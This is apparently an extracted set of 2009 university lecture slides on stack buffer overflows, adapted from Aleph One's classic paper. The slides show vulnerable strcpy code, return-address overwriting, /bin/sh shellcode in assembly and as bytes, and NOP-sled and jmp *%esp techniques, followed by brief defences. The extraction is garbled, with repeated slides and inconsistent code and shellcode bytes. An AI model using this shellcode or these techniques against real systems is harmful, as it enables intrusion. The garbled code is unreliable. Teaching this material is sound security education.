Lecture 9: Buffer Overflow*

CS 392/6813: Computer Security
Fall 2009

Nitesh Saxena

*Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) and Stanislav Nurilov

Course Admin

- HW4 Solutions will be posted soon
- HW4 will be graded soon
- HW5 was due last night
- HW6 will be posted soon

- **Final on Thursday, 12/17, 6 – 8:30pm**
Course Admin: HW6

- On Buffer Overflow
- **Team up in groups of (exactly) 3 each, please**
- You will have (root) access to virtual machines in ISIS
- For the exercise, you’ll have to create a user account and work under that account
- Make sure that you don’t mess up the system
- Instructions and homework will follow later

Why study buffer overflow?

- Buffer overflow vulnerabilities are the most commonly exploited—account for about half of all new security problems (CERT)
- Are relatively easy to exploit
- Many variations on stack smash—heap overflows, etc.
- We’ll focus upon static buffer overflow vulnerabilities
Recall the Security Life Cycle

- Threats
- Policy
- Specification
- Design
- Implementation
- Operation and Maintenance

Which stage?

How Computer Works

- There is a processor that interfaces with various devices
- Processor executes instructions
  - Add, sub, mult, jump and various functions
Where to get the instructions from

- Each process “thinks” that it has 4GB ($2^{32}$) of (virtual) memory (assuming 32-bit processor)
- Instructions are loaded into the memory
- Processor fetches and executes these instructions one by one
- How does the processor know where to return back after “jumping” and after returning from a function

Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Data</th>
<th>Heap</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0xFF</td>
</tr>
</tbody>
</table>
Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0xFF</td>
</tr>
</tbody>
</table>

11/19/2009 Lecture 9 - Buffer Overflow

Process Memory Organization

<table>
<thead>
<tr>
<th>STACK</th>
<th>CODE</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>← FP</td>
<td>frame pointer</td>
</tr>
<tr>
<td>← SP</td>
<td>stack pointer</td>
</tr>
<tr>
<td>← IP</td>
<td>instruction pointer</td>
</tr>
</tbody>
</table>

11/15
Buffer Overflow: Example

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer,str); }

void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }
```

Buffer Overflows

```
<table>
<thead>
<tr>
<th>*str</th>
<th>ret (main)</th>
<th>sp (main)</th>
<th>FP</th>
</tr>
</thead>
<tbody>
<tr>
<td>buffer</td>
<td></td>
<td></td>
<td>SP</td>
</tr>
</tbody>
</table>

void function(char *str) {
    char buffer[8];
    strcpy(buffer,str); }

void main() {
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }```
Buffer Overflows

```c
*str
ret (main)
fp (main) ← FP
buffer ← SP

void function(char *str) {
    char buffer[6];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

Buffer Overflows

```c
*str
ret (main)
fp (main) ← FP
buffer ← SP

0x41 41 41 41 ← SP

void function(char *str) {
    char buffer[6];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```
Buffer Overflows

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
### Buffer Overflows

```c
void function(char *str) {
    char buffer[6];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }
```

---

### Buffer Overflows

```c
void function(char *str) {
    char buffer[6];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }
```

![Segmentation Fault]

---

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td></td>
</tr>
</tbody>
</table>

11/15 19

```

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

void function(char *str) {
    char buffer[6];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }

11/15 20

```

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

<table>
<thead>
<tr>
<th>IP</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td>0x41414141</td>
</tr>
</tbody>
</table>

Segmentation Fault

11/15 20

```

---

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td></td>
</tr>
</tbody>
</table>

11/15 19

```

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

void function(char *str) {
    char buffer[6];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string); }

11/15 20

```

```
0x41414141
0x41414141
0x41414141 ← FP
0x41414141
0x41414141 ← SP

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>IP</td>
<td></td>
</tr>
</tbody>
</table>

Segmentation Fault

11/15 20

```
Modifying the Execution Flow

```c
void function() {
    char buffer1[4];
    int *ret;
    ret = buffer1 + 8;
    (*ret) += 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%d\n", x);
}
```
Modifying the Execution Flow

11/19/2009 Lecture 9 - Buffer Overflow

```c
void function() {
    char buffer[4];
    int *ret;
    ret = buffer + 8;
    (*ret) = 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%s\n", x);
}
```
Modifying the Execution Flow

void function() {
    char buffer[4];
    int *ret;
    ret = buffer + 8;
    (*ret) += 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%d\n", x);
}

Exploiting Overflows - Smashing the Stack

- So, we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it
Exploiting Overflows - Smashing the Stack

- Now we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it

What if there is no code to spawn a shell in the program we are exploiting?

Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!
Exploiting Overflows - Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

Spawning a Shell

```c
#include <stdio.h>
#include <stdlib.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0); }
```
Spawning a Shell

```c
void main() {
    __asm__("
        jmp 0x2a
        popl %esi
        movl %esi,0x8(%esi)
        movl $0x0,0x8(%esi)
        movb $0x0,0x7(%esi)
        movl $0xb,%eax
        movl %esi,%ebx
        leal 0x8(%esi),%ecx
        leal 0xc(%esi),%edx
        int $0x80
        movl $0x1, %eax
        movl $0x0, %ebx
        int $0x80
        call -0x2f
        .string "/bin/sh"
    ");
}
```

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00"
"\x00\xeb\x89\x8f\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x89\xe3\x5d\xc3";

11/19/2009 Lecture 9 - Buffer Overflow
How to find Shellcode

1. Guess
   - time consuming
   - being wrong by 1 byte will lead to segmentation fault or invalid instruction

2. Pad shellcode with NOP’s then guess
   - we don’t need to be exactly on
   - much more efficient
Can we do better?

- If we can find the address where SP points to, we are home

Can we do better?

- Find out what shared libraries are being used by the vulnerable program
  - Use ldd command
  - This also provides the starting address where the shared libraries are stored in process’s memory
- Find out where in the shared library the instruction jmp *%esp occurs
- Add this to the starting address of the shared library
- At %esp, store the instruction jmp –constant offset
Consider the simple program

```c
int function(char * a){
    char buff[256];
    if(a==NULL) return -1;
    strcpy(buff, a); return 1;
}
int main(int argc, char** argv){
    func(argv[1]);
    return(0);
}
```

Stack Contents – Normal Execution
How to prevent buffer overflows

- **Programmer level:**
  - Check the length of the input
  - Use functions `strncpy` (instead of `strcpy`)

- **OS level:**
  - Techniques such as address space layout randomization
References

- Smashing the Stack for Fun and Profit:
  http://doc.bughunter.net-buffer-overflow-smash-stack.html

- Smashing the Modern Stack for Fun and Profit:
  http://netsec.cs.northwestern.edu/media/readings/modern_stack_smashing.pdf

Announcement

- CS6903: Modern Cryptography, Spring 2010, Thursdays 5:30-8pm
  http://cis.poly.edu/~nsaxena/docs/crypto-outline.pdf